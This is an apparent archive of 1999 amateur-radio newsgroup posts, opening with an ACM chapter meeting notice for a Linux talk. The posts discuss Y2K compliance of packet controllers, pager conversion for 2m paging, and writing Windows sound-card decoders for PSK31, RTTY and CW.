Come and see how you can use LINUX at home or at the office to increase your productivity, and at the same time have the time of your life hacking the system. Also, learn why the big companies like IBM, ORACLE, DELL, etc. are all jumping onto the LINUX band wagon.

Nazmul Ula is an Associate Professor of Electrical Engineering and Computer Science at Loyola Marymount University. He has been using the Linux operating system for more than seven years, and has done system administration for a number of UNIX operating systems including AIX,

Ultrix, SunOS, Solaris and Linux. He is also doing the system administration for a number of NT servers. Professor Ula has installed Linux on more that 300 computers and has installed Linux based networks in both SOHO and academic environments. He is also the Technical Advisor for IQube - a commercial Linux based network solution provider. Linux is a hobby for Professor Ula.

****

The Los Angeles Chapter normally meets the first Wednesday of each month at Ramada Hotel, 6333 Bristol Parkway, Culver City. The program begins at 8 PM. From the San Diego Freeway (405) take the Sepulveda/ Centinela exit southbound or the Slauson/Sepulveda exit northbound.

Please join us for dinner. The charge is $10 with a reservation, $20 without ($5 for students/unemployed, with reservation). (Yes, these reduced prices are correct. Take advantage!) There is always a choice of beef or ham, either chicken or fish, or vegetarian plate. Dinner is served at 7:00 PM with a preceding social hour at 6:30 PM.

To make a reservation, call Ed Manderfield, (310) 391-5936, and indicate your choice of entree, by Sunday before the dinner meeting.

THERE IS NO CHARGE OR RESERVATION REQUIRED TO ATTEND JUST THE PROGRAM.

For membership information, see our Web page:
http://www.acm.org/chapters/los_angeles

> Thanks,
> Bret
>
>

Hello Bret:

Here is the Y2K compliance picture from Timewave.

The following TNC/Multimode controllers are Y2K compliant when running on a Y2K compliant PC platform and running Timewave Y2K compliant software:

PK-12, PK-96, PK-232, HK-232, PK-232/MBX, HK-232/MBX, PK-232/DSP, DSP-232, DSP-1232, DSP-2232, PK-900, PK-900/DSP.

This test excludes the use of various OEM "Date/Clock" chips which may have been added to the hardware.

The following software releases are Y2K compliant when running on any of the TNC/Multimodes listed above:

PK TEREM '99 is Y2K compliant as described above.

PC PakRATT for Windows version 2.1. Version 2.0 is NOT Y2K compliant. See http://www.timewave.com for upgrade information.

The DOS software PC PakRATT is NOT Y2K compliant and is no longer being supported.

Any organization needing an official Y2K statement can contact jdouglas@timewave.com for a compliance statement and description of the tests performed.

Presumably that can be interpreted as meaning when used in host mode?
Are then any Y2K issues with any of the above when used in terminal
mode?

Source record: 18058

Hello,

I am trying to build a repeater that will handle radio paging calls in the POCSAG format so that calls may be sent to re-tuned radio pagers, the Motorola Advisor.

Can anyone tell me if this kind of thing has been done before, as I have been told that it is quite the thing in America, however I would like as much info as possible.

I am finding that when the pager is re-tuned to 144Mhz, its rather deaf (they have a 5Mhz B/W) and therefore am looking for reciever boards tuned to around 144 MHz that can be converted.

Thanks for any info,
Andy.

I have thought about this and written some software for a DSP card
that actually receives and transmits POCSAG data. My plan was to
have transmit-receive (single frequency) stations on 2M that would
be mostly located at existing packet radio node sites, but could also
be standalone.

The idea was to send pages via the packet radio network (possibly using
some user-interface at nodes and bbses) to the connected nodes, who
would send them on 2M. Then, the standalone nodes would relay these
in a digipeater fashion, on the same frequency. Something would be
done to prevent infinite ping-pong when two standalone nodes received
eachother (a 'has been digipeated' bit).
There would be no attempt to time-sync the transmissions, each node would
receive the surrounding other nodes and would use CSMA to avoid
transmissions on top of eachother. Maybe a simple slotting system could
be used.

The POCSAG part of the system would consist of a surplus 2M transceiver,
antenna, and a DSP board running the code and (possibly) connected to
the packet radio system using RS232 or so. Actually, the modulation
rates are so low that a microcontroller could be used instead of the DSP.

The basic function of the system was built, but I abandoned the plan
after finding that the average ham is not interested in subsidizing
the roll-out of such a system, let alone plugging in his soldering
iron to convert a surplus pager, in these days now that you can get a
GSM phone and send messages to it for free.

For Sale: Tandy 2810 286 laptop. Has a backlit VGA grayscale screen,
1mb ram, upgraded to a 60mb HD, has an ac adaptor, internal 1.44mb
floppy drive, internal 2400 bps modem, one RS232 comm port, one parallel
port (I've sucessfully used my Zip Drive on it), and one external
keyboard connector. Unfortunately, the battery pack is toast, but you
can use this laptop from your car's lighter socket or other 12v source
with a homemade adaptor that you'll have to provide yourself.
This would make a great packet terminal, switch it up to 80x50 text
mode to really get rockin'!
$25 plus $5 shipping.
Remove the anti spamming stuff from my e-mail addy to e-mail me if
interested.

http://www.packetradio.com is a great source for the info you are after.

Don't let someone steer you toward TAPR.. Greg Jones, president of TAPR recently declared that "large-scale packet networking is dead" , and went on to say so was the Packet BBS. It's better to work with people who at least respect what you are doing.

See my web page listed below for more info.

One source for this older stuff is thru Charles "Citizens Band" Brabham who has a site on the net.
However, things have changed a lot over the decades and since packet is much the same as back in 1984,
it is not as active as it once was due to the dying out of the large-scale packet network attempts. They never succeeded in a serious manner but a lot of folks did try to make a partial attempt. All we needed was a few hundred million bux and we could have made a world wide network, well, OK maybe at least a U.S. network.

The main organization that deals with the new paradigm of packet radio, is TAPR, which is the premier organization that created much of the technology of the early days and is now looking at much higher speed. At one time, amateur packet was as fast or faster than what was commercially available, but regular packet is of course still back at 1,200 and 9,600 baud. The new stuff may be more in the 256K league.

Sincerely,

Rick, KV9U

Here's my dream. Does this even exist?

A program that works through Windows (*not* just one in a DOS box) that uses *any* sound card in Windows (*not* just one that uses SPECIFIC hardware calls to a CERTAIN type of sound card only) that will receive *and* transmit CW, and various digital modes (RTTY, ASCII, TOR, PSK, etc) *without* relying on external hardware.

Am I dreaming? Does ANYONE have such a thing?

I've been thinking about writing some software that does the same. My
concern is the often heavy-handed nature of the feds today. Since it could
be used to decode normal pager transmissions as well, is this likely to
arouse their interest (and middle of the night door bashing)?

It takes more than just a wish. The Windows architechure is quite complex, and
it would take a device driver running at Ring 0 to accomplish this.

Since DDK gurus are few and far between, the cost would outweigh the return.

I am in the process of trying to learn the interface into
mmsystem.dll. It is my impression from what I've seen, that most sound
cards makes and models are adequately covered among the devices
covered - and that makes the particular sound card essentially
transparent, so long as you don't ask for something stupid - like
asking an 8 bit card to produce 16 bit data.

However, you are quite correct about it being complex, and Microsoft
has done a good job of separating out all Multimedia documentation so
that you have to buy it as an extra - i.e., it certainly didn't come
with my Visual C++ versions 1.52 and 2.1. Not to mention that it's a
total blank in Visual Basic ver 3.0

I'm working on a combination of examples for playing wave files in Vis
C++ v 1.52 and a windows 95 book on the Multimedia API. Heavy stuff.

Now, couple all that heavy programming with the need to understand the
obscure formats that all of the digital modes in use. It's going to
require a "team" approach and about $125,000 to get it done by
competent people.

I wouldn't look for a solution any time soon.

Soory, it can't be done at the application level. Due to latency with Windows (95 or NT), it has to be at the device driver level because of timing requirments for decoding. You're doing real time DSP and that's not a Ring 3 possibility.

Source record: 18081

Hello. Nice to see others on 6m FM packet. Can you tell me, is 50.620 considered the nationwide 6m FM packet frequency now? It used to be 51.700 but I do not see that frequency listed any longer. We are still operating on 51.700 here. I used to hear some 6m FM packet DX once in a while but I no longer hear anything. There used to be a multi frequency packet switch in Reno Nevada that I could connect to once in a while on 51.700 that had gateways to 2m and 20m packet, if I remember correctly.

Thanks for any information you can provide.

Interesting... can't you ask Windows to sample the audio at a predefined
rate, pass the resulting data to the application in buffers, and let the
application process it as-fast-as-it-can??

This is how it is done in a Linux implementation of the suggested
functionality, and it seems to work pretty reasonably.

The only problem with this approach is that the buffers cause even more
latency, and thus this is not very suitable for modes that require quick
transmit-receive turnaround (packet, amtor, etc).
For receive-only it would be no problem at all.

Hy,

It's a dream until now but ...

take a look at CWGET and CWTYPE (CW of course)
IZ8BLY Hellschreiber.exe (Hellschreiber mode)
PSK31.exe (psk31 mode)

They are Windows programs using the sound card with receive and transmit
possibilities.

And IT WORKS.

So it must be possible to do it for other mode.

I have a Radio Shack DSP 40 Digital Signal Processor. It works great
just did not need it with my Icom 720. $40 delivered to the cont. US.
Email if you are interested. Scott.

2485. Help - Mobile Phone modifications

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-25 00:00:00 UTC
From: Alf <perez.alfonso.am@bhp.com.au>
Message-ID: <7if83v$12t2@atbhp.corpmel.bhp.com.au>
Source record: 18091
Cross-posted to:
aus.radio.amateur.misc,rec.radio.amateur.digital.misc,rec.radio.amateur.homebrew,rec.radio.amateur.misc,rec.radio.scanner

I would greatly appreciate if anyone has information on mobile phone
modifications/programing. Particularly Nokia 101 and Motorola 7500.
We are working on a project that requires mobile transmitters used for fault
alarms on remote industrial equipment and would like to be able to set up
various mobile phones as transmitters with the receiving mobile set up on
scan mode to monitor each of the transmitted alarm signals. The analog data
then will be fed into a computer for alarm trending.

Any help tips or references would be appreciated.

Regards,

Alf

2486. PSK31 quit: Help

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-25 00:00:00 UTC
From: Steve <n8nyu@provide.net>
Message-ID: <374ADCEF.8BDCD721@provide.net>
Source record: 18092

I had PSK31 running just fine, ver 1.06 with my Kenwood TS-450 and
Soundblaster AWE64 card. All of a sudden it wont receive for nothing,
no clock movement and nothing on the waterfall. It transmitts just fine.

I have checked the cable's, reinstalled the software.
I do have a splitter cable to the audio in on the sound card as my ATI
All in Wonder TV is plugged into the same audio in as the Kenwood is
and the TV audio works just fine, its just audio from the rig is not
getting there. Yes I tried switching them and even a direct connect from
the rig to the audio in, and different cables, nothing.
Yes I have played with the mixer sliders up and down and right and left,
nothing.
I have tried 2 sample rates in the PSK prog, both 8000 and the 11250 or
whatever the second one is, still nothing. Tried re-installing the PSK
prog, nothing, even went so far as to use restore on a backup prog to
reset old settings in the computer, nothing.
I use the sprk out on the back of the rig and also tried the headphone
jack, nothing.
So far any other audio programs seem to work just fine.
Last thing I did was install a beta program that plays/records MP3
files. I deleted that program.
Man, I dont want to re-install WIN98 AGAIN!
What the heck did I miss?

Doubtful ... like NetRom and Brian B.'s RTTY program, someone
woudl rip you off. That seems to be a sad but true fact of
how hams treat software developers that "have the gall" to
actually want some (even minor) compensation for their efforts.

2488. CSS announces version 1.3 of Pacterm '98 and Pk-Term 99

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-25 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <ORT6P9vp#GA.115@cpmsnbbsa02>
Source record: 18094

Creative Services Software announced today that version 1.3 of the popular Pacterm '98 and Pk-term '99 programs will be release in June.

This FREE upgrade to current owners of the product will include:

Enhancements:

- Interoperability with the LogWindows logging program.
- New macro for contest serial number
- Support for the CW bandwidth options with the Pk-900 upgrade (PK-term only)

Fixes:
- YAPP file transfer fixed on all types of TNC's.
- Amtor issue with AEA/TImewave units fixed.

Both Pacterm '98 and PkTerm '99 retail for $79.95.

Pacterm '98 is available from your favorite ham dealer or from CSS at 256-381-6100.

PK-Term '99 is available from your favorite ham dealer or from Timewave at 651-222-4858.

What advantage would a "mobile phone" have for your application ??

It would seem to me that if you are scanning in order to pick up
the transmission, that a mobile phone is not needed. Do you
want the mobile phone to actually dial a phone number when
a fault is detected ??

When you say mobile phone, do you in fact mean "Cellular Phone" ??

If not, then perhaps a Motorola R-Net data radio unit, or a
Varda alarm would better suit your purpose..

Kantronics also makes telemetery equipment based around their
packet radio controllers.

Just my $.02 :-)

Just a thought... The other sound programs you mentioned that worked... Do they work on "receive" (with a mike) ? Have you tried recording with them?

Maybe your card's ability to receive is dead, but it can still "transmit".

Chuck Brabham has already given the missing suggestion, but let me
elaborate on that a bit.

You definitely need to isolate the problem as to whether it is on the
radio side or the sound card side.

Get a meter and make sure that you can see something between 100 mv
and 300 mv out of the plug that will be plugged into the soundcard's
Line-In jack.

Then, using a microphone, try recording your voice to a disk file
using the sound recorder applet. If you can do that and can hear the
recorder file playing back to you, then you know that the microphone
input path is OK.

I have seen one example here using a model CT-4147 Creative Labs
SoundBlaster 16 PnP that has a burned out path in the Line-In path for
volume control settings above the 3/4 mark. Don't ask me how it
happened, but it was either too much audio into the card or RF got to

it. The card is still 100% functional in all other respects, but if you set the mixer volume on "Line-In" above the 3/4 mark, the recorded audio will be weak and distorted. Bummer. $49 down the drain, except that for games, etc., it matters not.

Got it fixed, finally. Had to delete all info on the sound card from control
panel and all files, pulled the sound card out and reinstall everything and
it took off. Whew!

Looks like there is software that will do MS Windows/Any soundcard/RTTY/CW (plus SSTV and FAX). Radio Com 3.5

http://computer-international.virtualave.net/radiocom.html

Has anyone tried this, or even heard of people's experience with it? Before I invest $250 in this, I'd like to know other people's impressions.

Thanks to all

There is a very, very simple answer to your question. Don't even consider that product until it supports the mode of the future - PSK31.

May the Phase be with you.

I know. It also doesn't support any of the "hell" modes, which is
strange since it's a German product.

Gee, I wish someone would do "Multimode" (the Mac program) for Windows

2503. CSS announces update for Pacterm '98 and Pk-term '99

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-26 00:00:00 UTC
From: hamradio00@aol.com
Message-ID: <19990525211834.01081.00000303@ng-fi1.aol.com>
Source record: 18096

Creative Services Software announced today that version 1.3 of the popular Pacterm '98 and Pk-term '99 programs will be release in June.

This FREE upgrade to current owners of the product will include:

Enhancements:

- Interoperability with the LogWindows logging program.
- New macro for contest serial number
- Support for the CW bandwidth options with the Pk-900 upgrade (PK-term only)

Fixes:
- YAPP file transfer fixed on all types of TNC's.
- Amtor issue with AEA/TImewave units fixed.

Both Pacterm '98 and PkTerm '99 retail for $79.95.

Pacterm '98 is available from your favorite ham dealer or from CSS at 256-381-6100.

PK-Term '99 is available from your favorite ham dealer or from Timewave at 651-222-4858.

>
>Thanks for any info,
>Andy.

i did this a couple of years ago after seeing the demo that kantronics
had at dayton. they were using the kpc9612 with the upgraded firmware
that supports paging.

my intention was to have a way to page my deaf daughter using the
vibrating feature of the motorola pager. i think i had the advisor as
i remember as it was alpha/numeric.

what i did was this:
i got a pager and took it to my local pager shop.
the guy traded me a vhf 150mhz commercial board for the 900mhz board
that was in the pager.
he said the boards that cover 144-148 are sold only in austrailia. i
comprimised and got the 150 mhz board. he installed the xtal and tuned
it up.

i got the xtal from kantronics and put the pager on 145.09 .

my base radio was an alinco data radio setup for 9600baud

i wasnt happy with performance at all. plenty of missed characters.
sometimes straight number pages came through perfect.
once in a great while the messages came through perfect.

i think i would have had better luck on the 440mhz band.

I hope that 250 dollars or 450 for rx-tx version it's so much because
ok they give you rs 232 interface for remote control of your rig but
this hardware it's no expensive ,so there are many programs freeware
that you can use with sound blaster like psk31,btl or others

>I don't much about PSK-31 except what I have read. Why do you
>think it's the mode of the future ?

Yes, I understand. Reading about it won't do it. You have to experience it. Everyone that I talk to on PSK31 has pretty much the same impression of the mode. It has really significant advantages in bandwidth. Here's an example. I have held a QSO while positioned between the Mark and Space signals of a RTTY station. The bandwidth of the PSK31 signal fits in between there with room left over and the signal processing in the software so completely eliminates the adjacent QRM that it's miraculous. The only problem that I have had with the mode, so far, is the overloading of my receiver from strong signals within the IF passband that were "blocking" the AGC so as to cause weak signals to just disappear. I have found that not to be a problem on a righ with very narrow IF bandwidth, such as my TS-450 with the 250Hz CW filter. But on my ICOM-751A with its standard SSB filters, it can be a problem.

Adding on DSP in the audio before passing it to the soundcard does help a lot, but the best performance is obtained when you have narrow bandwidth in your IF.

I worked my first JA just this morning on 20 meters with a G5RV antenna and 30 watts of PSK31. You have to get on the air with it to believe what it will do.

2513. Written decoding software for sound cards?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-27 00:00:00 UTC
From: MOstrowski <M_Ostrowski@yahoo.com>
Message-ID: <7ijle3$69q$1@ink.msen.com>
Source record: 18019
Cross-posted to: rec.ham-radio.packet,rec.radio.amateur.digital,rec.radio.amateur.digital.misc,rec.radio.amateur.misc,rec.radio.scanner,rec.radio.shortwave

I'd like to hear from anyone who has written digital signal decoding
software using sound cards.

I'm currently searching for information relating to decoding digital signals
(CW, RTTY, AMTOR,
CLOVER, PSK31, etc) using a sound card. I've used several of such software
packages currently
available for download and I like to try my hand a writing something
similar. I have many years
experience professionally programming both DOS and Windows applications
using C/C++/MFC,
but have never had need to interface to a sound card until now. I'd like
this application to be
Windows 95/98 based but I've heard rumors that directly accessing the sound
card interface is
difficult, if not impossible, under that OS.

Any tips you can pass along that can get me started will be greatly
appreciated; also any info
on books/articles/websites/source code/libs you've found helpful.

Peter, of PSK31 fame, told me that the Microsoft mmsystem.dll
handles interfacing to the sound card. I haven't looked for
info on that DLL but I assume it is available from Microsoft.
I'm also interested so please post whatever sound card interfacing
info you gather.

The problem with programs that use soundcards that decode radio info can't be built around visual basic
as VB is so damned slow.
Thus, soundcard decoder programs require the knowledge of real programmers (C++) which explains why they are so
damned buggy, due to Windows needing thousands of lines of C++ code just to initialise a stupid program (being
sarcastic but you C++ Windows programmers know exactly what I mean).

One way around the problem is to wrap the speed-critical stuff in
a DLL, but use VB for the user interface.

Actually getting samples from the sound card isn't all that hard.
For initial development you may even want to avoid the soundcard
stuff entirely, use whatever program is available to you to
record samples to a file, and then process them offline. Either
use the Windows API functions, or just use fopen() and grab the
bytes yourself.

What to do with the samples once you have them is the hard part.
My usual suggestion for a first book on DSP is Ifeachor and
Jervis, _Digital Signal Processing: a practical approach_.
For comms stuff (which you will probably also need), try a
text like _Communication Systems_ by Haykin.

:The problem with programs that use soundcards that decode radio info can't be built around visual basic
:as VB is so damned slow.

Actually VB 6 is not that slow. Problem is in lack of support for
Multi-threading and callbacks that are required to fully exploit the
potential of mmsystem.dll API.

:Thus, soundcard decoder programs require the knowledge of real programmers (C++) which explains why they are so
:damned buggy, due to Windows needing thousands of lines of C++ code just to initialise a stupid program (being
:sarcastic but you C++ Windows programmers know exactly what I mean).

Well, It's not that bad. But there is function of complexity of
implementation vs. size of the project. For VB it grows steeper
but VB starts at 0 value. C++ starts at some positive number (since you
will need bunch of to put "Hello World" on the screen") but grows slower
with size of the project. To make story short: smaller projects are easier
to do at VB while large ones on C++.

George

I hope you find what your looking for. I would make a sujestion to you.
I would sujest that you try to do this under Linux (i.e. Unix) first. I
think that you would have alot better response with the linux OS versus
Windows. Good luck let me know what you find out.
Thanks Oris

2522. Ham packet early warning system Help/Advise

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-27 00:00:00 UTC
From: Darryl Wagoner <darryl@sai.com>
Message-ID: <374D79F1.CE536FF5@sai.com>
Source record: 18028
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.policy,rec.radio.amateur.digital

Greetings,

A few months ago I start the Global Early Warning EMail system. Since
then
I have gotten my Ham ticket, and am getting into packet radio. I have
always
wanted to be ham, but Y2K was the push I needed to do it. In the last
24 hours
the number of members has doubled. I would like to expand this list to
APRS.
Let me be clear, this is a total noncommercial list. It's sole purpose
is to alert
it's members to a new crisis as quickly as possible.

Having said all this I am too much of a novice to even try to do this by
myself or
to even know where to start. So I am looking for help in setting up
this system or
become a member in an existing system.

Also is there a network in place can stay up in case the grid goes
down? If so
how do I find more out about it? If not is there interest in setting up
such a system?
What else should be we be doing to prepare. I am or becoming a member
of local
net and ARES nets. Before you flame me too heavy please keep in mind
that
I attended my first ham club meeting a little less than 2 months ago.
I/we don't time
for me to gracefully learn the ropes before Y2K is on top of us for
better or worst.
I am afraid if I don't do it, drive it or help with it, it won't get
done. Too much is
at stake to sit back and watch.

BTW with my Ham ticket, there was a very strong Y2K warning from the
FCC.
I can post it if there is enough interest.

What do you think?

I doubt it. It is not related to transmit frequency but to modulation.

What you need is a radio suitable for 9600 baud. Not a Japanese radio sold
as "9k6 ready" or a PLL radio that you converted by bypassing the mic amp,
but *a radio suitable for 9600 baud*.

POCSAG uses very low modulation frequencies, you need FM modulation from DC
for perfect results. I.e. when you attach a variable voltage to your
modulation input and vary the voltage, you should see the transmitter vary
a few kHz and stay where you put it.
Anything with AC coupling is a compromise that will not work very well,
or not good at all.

The same is true for good quality 9600 baud transmissions. I converted
a surplus trx for 9600 with DC-coupled modulation and modified a modem
to be completely DC coupled, and you will not believe the eye pattern
quality I got on the scope unless you saw it. Perfectly steady, with
all lines going through two very small areas.

Now compare that with what you get from the average Japanese trx: wobbling,
smeared lines. I don't know if the Alinco is DC-coupled but it would be
worth it to look at it and possibly modify it.

Michael,
you can find at least one very usefull source code example
demonstrating sound card programming under MS Windows on creative labs
(soundblaster) ftp server:
ftp://ftp.creaf.com/pub/creative/devinfo
The file I used is
fullduplex.exe
I used this example as a starting point for my DSP programming under
Windows NT using Visual C++ 5.0.

Good luck!

Gerd Niephaus

George hit the nail on the proverbial head. The problem with signal processing in real time is that you need a real-time processor. Unless your eating all of the processing time this can't be done reliably in Win9x.

The second problem is that Win9x does not let you talk to the card at the hardware level, as well as to the DMA. You would need to do that to effectively perform near real-time capture and hold processes of any sound frames you're trying to deal with. Best bet there is to write a 16-bit dll, which will allow you to do these things.

You have to understand the architechture of Windows. Decoding is a real time timing process and Windows is not a real time operating system. You have to do it at the Ring 0 processor level, which allows the device driver to run in 'real time'.

This is why network card drivers and the like run at Ring 0. To make sure no data is lost due to the bloat of the Windows GUI subsystem.

With PerformanceCounter API and high priority levels you can get better resolution and response. Win NT will be much better choice for time-critical applications. The reason for that is Win95 memory management is designed to better utilize physical memory at the expense of response time. For sound processing NT offers more then plenty real-timeness unless you want 44Khz resolution stereo (don't need that for SWLing).

Don't know much about Linux but am very curious about it.

Sorry, I don't follow this line of reasoning.

We know that PSK31SBW by Peter Martinez, which runs in Windows 3.1 and above, does NOT access the I/O ports directly. That is, all access to the sound card for either input of the sampled data or output of the data to the sound card for transmission, is made via the standard Windows Multimedia API calls.

I grant you that once the buffer of data to be processed is available to the program, he does use assembler code for the FFT in order to speed up the DSP functions.

However, all this talk about Ring 0 and Ring 3 is irrelevant. If you can deal with data that has been sampled at 11 kHz, as is done in PSK31SBW, then where's the problem?

Why? You gain virtually none of the advantages of the mode this
way. By using conventional FM, you consume something like a 20KHz
channel to send data at 31baud; PSK31 sent using a SSB transmitter
consumes something like 60Hz bandwidth.

There is no need to do decoding as a real time process when sampling is
done in real time and the result is buffered.

So why do you want to do decoding in real time?

2543. Unable to install WinPack 6.40 on Windows NT

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-28 00:00:00 UTC
From: journel@videotron.ca
Message-ID: <rQH33.9211$Sm4.57908@weber.videotron.net>
Source record: 17963

When I try to run setup.exe to install Winpack 6.40 I have the message "INSTALL ERROR - I cannot initialize the installer".

I'm running NT Server 4.0 + Service Pack3.

I went through the text files and found nothing about this. Do I have to RTFM again ;-) ?

Any idea?

Thanks,

Pierre - VE2IPX

Hi William,

I've had a couple of QSOs on Two with PSK31 over a 135 km path and it
worked really well despite the signals not showing on the S-meter, the
lower level of background noise helps a lot of course. The path suffered
sometimes from aircraft "flutter" which gave some strange QRM, like
another signal drifting across the waterfall display.

Cheers,

Roger Basford, G3VKM

It can indeed be done on 2m. I have a a few contacts 2m SSB.
The thing I noticed was that the two stations may drift apart. Even a
small percentage drift on 144MHz is noticable on a mode with only
31.24Hz bandwidth!
The program tracks the drift OK while receiving. It becomes noticable
though after a few overs, especially when one rambles on as I tend to ;)

>Sems like 6 meters would be a good place for PKS31.
>
Not had the chance to try 6m yet but I guess the problems should be
less. Good luck with PSK31.

>
>Thanks.

IC-28 Mic pin out

Pin 1 - Mic input - there is 8 volts on this pin for mic element bias

Pin 2 - 8 volts @ 10 ma for powering the DTMF chip in the HM-14 mic

Pin 3 - Frequency Up / Down - ground and frequency scans up, ground
through a 470 ohm resistor and frequency scans down .

Pin 4 - Squelch Switch - most do not use this pin

Pin 5 - PTT ground this pin and radio transmits

Pin 6 - Chassis ground *

Pin 7 - Mic low or mic audio ground *

Pin 8 - Speaker audio

* It is acceptable to connect both Pin 6 and Pin 7 together as most
TNC's have only one ground.

Dear Mike,

The most comprehensive source that I have found (excepting purchase of
an SDK from Microsoft) is "Windows 95 Multimedia & ODBC API Bible" by
The Waite Group Press - Richard J. Simon, Tony Davis, John Eaton, and
R. Murray Goertz.
It has chapters on Waveform and Auxiliary Audio and on Multimedia File
I/O. Those two chapters are really all you need to do everything that
needs to be done for a mode like PSK31.

If you can locate a "Books-a-Million" store, they may be able to help
you - I got my copy at 50% discount - normally $54.99. CD-ROM is
included.

Running a 16 bit .dll in the Windows 16 bit subystem is still not real time under Windows 95 or Windows 98. Plus you would have to use a generic thunk to access it from a 32 bit program adding to the latiency.

16 bit dll's run at ring 3 on the processor, only a 32 bit device driver can run at Ring 0 and directly access the hardware.

And even then, "real time" is a bit of a joke. For example, the best resolution
and lowest timer interval you can get out of the high resolution timer is 1ms.

I still don't understand why it would be necessary to directly access the
hardware to write such a program. Any sound recording API should do.

Fah!! I'm not against Linux (I run it here myself), but the difference in available tools makes comparison less than likely.

Best advice: write the FFT and multimedia modules as OCX's using C++, and build the front end using whatever trash you like. The FFT module is very small, about 300 lines. The MM interface is similarly small, about 100 lines.

Michael.

I hate to burst your bubble, but I've been on this newsgroup for several of years now... How about you?

I'm glad to hear that you have some ham friends there in NY. One of your earlier posts gave me the impression that you didn't know any other Hams at all.

I'm still curious though... Just why did you think that Usenet was the place to ask about local NY,NY packet freqs? Most folks I know would simply ask a local Ham.

>There's no call for that ..

Oh, I was genuinely amazed.. This is the same person who lives in the middle of NY city but claims he can't find another Ham to clue him in on the local Packet frequencies there. I advised him on how to get together with the local Hams and socialize a bit, and he took it as a bitter insult, and threatened to complain to my ISP. He was all freaked out over the entire concept.

I thought that was weird, but later learned he was a teenager. That explains a lot, I suppose.

On the other hand, I've got a teenager here at home who acts quite normal. (For a teenager) She stays away from the sugar and caffeine stuff and it really makes a difference. Of course she's still swimming around in a sea of hormones, but what teenager isn't? At that age, we're all still struggling on the upslope of "idiot hill" and haven't figured out who we are yet.

So you are probably right, I suppose. I should have just ignored him instead of trying to help him out, and would have if I had known he was out trolling for someone to flame with.

I'll certainly be ignoring him now. I have better things to do, and bigger fish to fry.

That goes far in explaining why I've had better luck in general with DOS programs than I have with Windows stuff.

I don't have anything against Windows. I'm just saying that a lot of "horsepower" goes into the graphical interface with Windows instead of going into what you are doing.

Actually, I was a bit surprised that it does work on 2m FM,
since a lot of FM rigs are actually PM. Wouldn't this screw things up?

Very true. NT is quite a lot better about timer resolution and latency though.

One of the nice things about Win95/NT/OS/2/Linux is that you don't have to write low level code to access the sound card. The drivers take care of it, and it should would on all types of sound cards. One of my biggest peeves is that most of the sound card software requires a SB16 or 64AWE sound card and doesn't support anything else since they use direct hardware calls.

Decoding RTTY doesn't need real-time processing. Sure, VB isn't quite up to snuff for it, but it does make a nice front end so you don't have to spend a lot of time writing C++ code. Use a DLL for all the signal processing. Buffers can take care of any processing lag, although decoding RTTY isn't exactly "intensive".

Looking for hams who would be in the SF bay
area or California or West Coast of the
U.S., who would also have the capability
of "Automatic Link Establishment" (ALE)
and would like to try some connects
on 74 and/or 40 meters ..

I've found 4 freq's on each band
that are normally clear of net
activity.

I would like to try out some capabilities
of a rig that I have if you also have
ALE available..

Be sure your rig also has the
"Occupancy Check" option set to "Yes"
so that your rig won't send out signaling
on a busy channel..

Is that why I keep hearing about long-haul QSO's using PSK31 working out so well on 2 meter SSB?

Maybe that additional bandwidth is not such a disadvantage, in this respect.

The problem with what you're saying is that the drivers are only meant for playback and recording in a certain format - NOT the kind of FFT processing that's required. This processing is also not available in the standard sound dll.

> Decoding RTTY doesn't need real-time processing. Sure, VB isn't quite up to
> snuff for it, but it does make a nice front end so you don't have to spend a
> lot of time writing C++ code. Use a DLL for all the signal processing.
> Buffers can take care of any processing lag, although decoding RTTY isn't
> exactly "intensive".

Disagree. It's a lot more complicated than you think. There's not just the decoding part that needs to be done here. There's also the issue of discriminating the desired tones from the rest of the clutter and noise that you're passing through there. You need FFTs to do this since zero-crossing techniques just don't cut it in a real signal environment.

Once that filtering is done, only then can you start decoding the signal. I agree that some buffering is required, but you only have so much buffer space for windowing an accurate capture and hold function. Sooner or later if the processing isn't fast enough, you will have a buffer overflow and will lose synchronization. I've done this with single-processor 486s, Pentiums and Pentium II machines. They all overflow at some point when trying to do this with the standard interfaces to a sound card.

Since we're not talking about true multi-processing operating systems/environments, the signal processing is too intense for the results to be refreshed to any Windows user interface (especially with VB). This may be a bad analogy, but the result is similar to getting dropouts on RealAudio. If you're dropping large chunks of data during the buffering process, what's the point.

The bottom line here is that sound cards were never designed to be true signal processing chips like the TMS series. If people want a real decoder in their machines, they need a different card that's going to do the extra processing for them rather than rely on their main processor to do it for them.

PSK31 is generated with an audio carrier (typically at 1KHz), so you don't
have issues with low-frequency response that you'd otherwise encounter with the
baseband data. While I'd hazard to the vast majority of synthesized FM rigs
are actually FM (by modulating the VCO with pre-emphasized audio), PM rigs should
work equivalently.

Why on earth would you WANT to??? If you're not
locked into *having* to run WinDoze to be able
to use some "have to have it" application which
ONLY runs under WinDoze, get Linux ... a REAL
operating system. (You can still run many DOS
programs using DOSEMU ... a DOS emulator which
runs as a task under Linux).

> How is/was soundcard interfacing
> handled under DOS?

Like most everything else, in a convoluted,
inconsistent, and inefficient manner, I suspect :-)

BTW ... I trimmed the list of NGs ...

I'm really surprised it's such a chore to implement this stuff under Windows. Not to turn this into an OS war, but reading sampled sound (and playing sound for transmit mode) hasn't been a major problem on the Mac (for my MultiMode). Perhaps it has to do with Microsoft's implementation. I haven't done any serious Windows programming (I sometimes consider porting MultiMode over to Windows, although this discussion seems to imply that the sound I/O isn't trivial), but it's quite simple on the Mac. You decide which sound input device to use, set the sample rate, sample size, etc, and that's it. Specify how many samples you want, and your callback procedure gets called (at interrupt time) when they're ready. The sound input is buffered, so nothing gets lost if it takes a few extra milliseconds (or even seconds) before your procedure gets called again. (Perhaps because you're doing some special processing and disabled interrupts, or aren't ready, for whatever reason)

After first writing my low-level sound input routines, I haven't touched them in a year of adding new modes to MultiMode, except one time, to handle the newer G3 Macs that can only sample at 44 kHz.

Packet will more slightly more of a challenge, due to the quick turn-around times required, but it still looks quite easy.

